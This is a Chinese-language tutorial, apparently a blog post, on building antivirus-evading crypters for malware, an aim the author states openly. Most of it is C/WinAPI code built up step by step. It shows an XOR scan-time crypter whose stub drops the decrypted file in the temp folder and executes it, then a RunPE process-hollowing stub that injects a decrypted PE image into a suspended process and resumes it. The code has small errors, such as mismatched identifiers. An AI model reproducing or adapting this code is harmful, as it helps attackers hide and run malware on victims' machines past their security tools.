神祕的加密工具

我一直認爲,在黑客世界裏,加密技術是一種很神祕的藝術,是一種很隱晦的東西,我們可以查找資料來進行研究。當然,它在黑客世界中已經變得非常普遍,尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在這篇文章中,我將詳細介紹加密工具的類型以及它們在底層的工作原理,然後展示低級代碼層面上一些鮮爲人知的技術。在閱讀完這篇文章後,我希望大家最終能對這些玩意兒的工作原理以及它們在計算機世界中的地位和作用有一定程度的瞭解。

本文涉及知識點實操練習:RC4加密實驗 (通過本實驗,瞭解RC4加密技術)

稍微聲明一下:有些材料可能不適合初學者,因爲它們需要相當多的Windows底層的知識。包括以下很多技術。

掌握 C/C++
熟悉WinAPI 和對應的文檔
熟悉基礎的加密知識
熟悉PE文件的結構
熟悉 Windows 虛擬內存
熟悉進程和線程


密碼學的兩個方面

當我們談起對於密碼學的印象時,我們經常會想到 "這是一種處理信息的手段,防止信息被泄露出去"。我們大多數人都把它看成是一種防禦機制,其應用的目的在於確保信息的安全,阻止惡意的攻擊。當然,我們很清楚這一點,因爲它被髮明出來的唯一目的就是保護數據,然而,正如我們很快就會看到的那樣,密碼學的功能已經遠遠不止這些。

如果我們使用傳統的密碼學來進行惡意攻擊,即設計惡意軟件,利用密碼學提供的優勢。這些類型的惡意軟件在現代已經非常普遍,包括勒索軟件和非對稱後門等,它們主要涉及公鑰密碼學。

反病毒機制

爲了能夠設計出繞過殺毒軟件的方式,我們必須首先要明白殺毒軟件的殺毒方式。我將簡單介紹一下殺毒軟件檢測應用程序採用的兩種主要方法。

基於簽名的檢測

顧名思義,基於簽名的檢測是一種將應用程序的簽名與相應的已知惡意軟件的數據庫進行交叉參考匹配的技術。這是預防和遏制之前出現過的惡意軟件的有效措施。

基於啓發式檢測

雖然基於簽名的檢測可以防止大多數以前已知的惡意軟件,但它也有缺點,因爲惡意軟件作者可以針對這種方法添加保護措施,如使用多態和變形代碼等。基於啓發式的檢測會監控應用程序的行爲和特徵,並將其與已知的惡意行爲進行匹配。請注意,只有在應用程序正在運行的情況下才會進行這種檢測。

當然,殺毒軟件要比這個高級很多。由於這已經超出了文章討論的範圍,也超出了我的理解範圍,所以這裏不會涉及這些信息。

加密技術簡介

加密器是被設計用來保護文件內部信息的軟件,並且在執行後,用解密程序提取後能夠完整地提供信息。請注意,雖然加密器可以被用於惡意目的,但它也主要用於混淆數據,防止對軟件逆向工程。在本文中,我們將重點討論惡意使用的情況。那麼,這是如何工作的呢?讓我們先來了解密碼器的各部分,看一下它們的作用。

加密器負責對目標對象進行加密。

+-------------+      +-----------+      +-------------------+     +--------+
|  Your file  |  ->  |  Crypter  |  =>  |  Encrypted file   |  +  |  Stub  |
+-------------+      +-----------+      +-------------------+     +--------+


+------------------+     +--------+                  +---------------+
|  Encrypted file  |  +  |  Stub  |  = Execution =>  | Original File | 
+------------------+     +--------+                  +---------------+


掃描時加密器

這些類型的加密器由於能夠加密磁盤上的數據而被稱爲掃描時加密器,殺毒軟件可以對文件進行掃描,例如基於簽名的檢測。在這一階段,只要應用的混淆技術是足夠強大的,殺毒軟件將永遠無法檢測到任何惡意活動。

運行時加密器

這些加密器將加密技術提升到了一個新的水平,能夠在內存中運行時根據需要對數據進行加密。通過這樣做,能夠使惡意軟件在殺毒軟件作出反應之前加載和執行。在這個階段,一個應用程序可以快速地運行它的有效載荷並達到它的目標。但是惡意軟件完全有可能在執行階段觸發殺毒軟件的基於啓發式的檢測策略,所以惡意軟件作者應該小心。

現在我們已經介紹了高層次的內容,那麼我們就來看看這兩種類型的實例。

編寫掃描時間加密器

掃描時加密器是兩者中比較簡單的,因爲它不需要虛擬內存和進程/線程的知識。本質上,stub會對文件進行處理,把它放到磁盤上的某個地方,然後執行它。下面記錄了一個掃描時加密器的設計。

注意:爲了簡潔和可讀性,內容將不包含錯誤檢查。

加密器和stub僞代碼
1.檢查是否有命令行參數
+-> 2. 如果有命令行參數,則作爲加密器對文件進行加密處理
|   3. 打開目標文件
|   4. 讀取文件內容
|   5. 對文件內容進行加密
|   6. 創建一個新文件
|   7. 將加密後的文件寫入新文件
|   8. 結束
|
+-> 2. 如果沒有命令行參數,則作爲stub
    3. 打開加密文件
    4. 讀取文件內容
    5. 解密文件內容
    6. 創建一個臨時文件
    7. 將解密後的內容寫入臨時文件
    8. 執行文件
    9. 完成
    


這個設計方案在同一個可執行文件中同時實現了加密器和stub,我們可以這樣做,是因爲這兩個操作非常相似。下面用代碼來介紹一下設計方案。

首先,我們需要定義main和兩個條件,這兩個條件定義了是執行加密器還是stub。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}


由於我們將應用程序設計成了窗口應用程序,我們不能像通常基於控制檯的應用程序中那樣檢索 argc 和 argv,但是微軟提供了使用 argc 和 argv的解決方案。如果命令行參數 __argv[1] 存在,應用程序將嘗試對指定的文件進行加密,否則,它將嘗試解密一個被加密的文件。

接下來是加密程序,我們需要 __argv[1] 來指定文件的句柄和它的大小,這樣我們就可以把它的字節複製到一個緩衝區中進行加密。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        // open file to crypt
        HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
        
        // crypt and get crypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
    }

    return EXIT_SUCCESS;
}


Crypt函數主要是將文件內容讀入到一個緩衝區中,然後對其進行加密,然後返回一個指向緩衝區的指針。

LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
    // allocate buffer for file contents
    LPVOID lpFileBytes = malloc(dwFileSize);
    // read the file into the buffer
    ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);

    // apply XOR encryption
    int i;
    for (i = 0; i < dwFileSize; i++) {
        *((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
    }

    return lpFileBytes;
}


現在我們有了加密的字節,我們需要創建一個新的文件,然後將這些字節寫入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        
        ...

        // get crypted file name in current directory
        CHAR szCryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szCryptedFileName);
        strcat(szCryptedFileName, "\\");
        strcat(szCryptedFileName, CRYPTED_FILE);
        // open handle to new crypted file
        HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // write to crypted file
        WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
        CloseHandle(hCryptedFile);
        free(lpFileBytes);
    }

    return EXIT_SUCCESS;
}


加密器部分差不多就是這些了。注意,我們使用了一個簡單的XOR來加密文件的內容,如果我們能夠獲得密鑰,這種方案的安全性可能是不夠的。如果我們想更加安全,我們可以使用其他的加密方案,如RC4或(x)TEA。我們不需要完整的加密算法,因爲我們的目的是爲了避免基於簽名的檢測,因此這麼做完全是矯枉過正。保持文件小而簡單最重要。

讓我們繼續進入stub例程。對於stub程序,我們要檢索當前目錄下的加密文件,然後將解密後的內容寫入一個臨時文件中進行執行。

我們首先要得到當前的要處理的文件,然後打開文件,得到文件大小。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        // get target encrypted file
        CHAR szEncryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
        strcat(szEncryptedFileName, "\\");
        strcat(szEncryptedFileName, CRYPTED_FILE);

        // get handle to file
        HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}


和加密器例程差不多。接下來,我們要讀取文件內容,並得到解密後的字節。由於XOR操作恢復了給定的公共位的值,我們可以簡單地重用Crypt函數。之後,我們需要創建一個臨時文件,並將解密後的字節寫入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // decrypt and obtain decrypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
        CloseHandle(hFile);

        // get file in temporary directory
        CHAR szTempFileName[MAX_PATH];
        GetTempPath(MAX_PATH, szTempFileName);
        strcat(szTempFileName, DECRYPTED_FILE);

        // open handle to temp file
        HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        // write to temporary file
        WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
        // clean up
        CloseHandle(hTempFile);
        free(lpFileBytes);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}


最後,我們需要執行解密後的應用程序。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // execute file
        ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}


請注意,一旦解密後的應用程序被寫入磁盤,它很有可能被殺毒軟件的基於簽名的檢測方式檢測出來,因此這樣有可能捕獲大多數的惡意軟件。正因爲如此,惡意軟件的作者需要編寫即使他們的應用程序在這種情況下仍然能夠執行的功能。

掃描時加密器就到此爲止。

編寫一個運行時加密器

對於運行時加密器,我的文章只涉及stub,因爲它還包括更復雜的過程,所以我們將假設應用程序已經被加密。這些加密器使用一種叫做RunPE的流行技術。它的工作原理是stub先解密應用程序的加密字節,然後模擬Windows加載器,將它們推送到暫停進程的虛擬內存空間中。這個過程完成後,stub將把暫停的進程恢復運行。

注意:爲了簡潔和可讀性,我將不包含錯誤檢查。

stub僞代碼
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish


我們可以看到,這需要相當多的Windows內部知識,包括PE文件結構、Windows內存操作和進程/線程的知識。我強烈建議讀者在理解這些知識的基礎上來理解下面的材料。

首先,讓我們在main中設置兩個例程,一個用於解密被加密的應用程序,另一個用於將其加載到內存中執行。

APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    Decrypt();
    RunPE();

    return EXIT_SUCCESS;
}


Decrypt函數實現方式完全依賴於用於應用程序的加密方式,這裏是一個使用XOR的示例代碼。

VOID Decrypt(VOID) {
    int i;
    for (i = 0; i < sizeof(Shellcode); i++) {
        Shellcode[i] ^= Key[i % sizeof(Key)];
    }
}


現在,應用程序已經被解密,讓我們來看看神奇的地方。在這裏,我們通過檢查DOS和PE簽名來驗證該應用程序是否是一個有效的PE文件。

VOID RunPE(VOID) {
    // check valid DOS signature
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;

    // check valid PE signature
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}


現在,我們將創建暫停的進程。

VOID RunPE(VOID) {
    ...

    // get own full file name
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    // initialize startup and process information
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    // required to set size of si.cb before use
    si.cb = sizeof(si);
    // create suspended process
    CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

}


注意,szFileName可以是任何可執行文件的完整路徑,如explorer.exe或iexplore.exe,但在本例中,我們將使用stub的文件。CreateProcess函數將在暫停狀態下創建一個指定文件的子進程,這樣我們就可以根據自己的需要來修改它的虛擬內存內容。

VOID RunPE(VOID) {
    ...

    // obtain thread context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.Thread, &ctx);

}


現在我們清空進程的虛擬內存區域,這樣我們就可以爲應用程序分配自己的運行空間。爲此,我們需要一個函數,而這個函數對我們來說並不是現成的,因此我們需要一個函數指針,指向一個從ntdll.dll 文件中動態檢索內容的函數。

typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);

VOID RunPE(VOID) {
    ...

    // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
    fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    // hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
    pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

    // allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

}


由於被暫停的進程在其虛擬內存空間內有自己的內容,我們需要從內存中對它進行解映射,然後分配我們自己的內容,這樣我們就有訪問權限來加載我們的應用程序的映像。我們將通過WriteProcessMemory函數來實現。首先,我們需要像Windows加載器一樣,先寫頭文件,然後分別寫每個部分。這一部分需要對PE文件結構有一個全面的瞭解。

VOID RunPE(VOID) {
    ...

    // write header
    WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);

    // write each section
    int i;
    for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
        // calculate and get ith section
        PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
        // write section data
        WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }

}


現在一切就緒,我們只需修改上下文的切入點地址,然後恢復暫停的線程。

VOID RunPE(VOID) {
    ...
 
    // set appropriate address of entry point
    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
 
    // resume and execute our application
    ResumeThread(pi.hThread);
}


現在,應用程序已經開始在內存中運行,希望殺毒軟件不會檢測到它。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章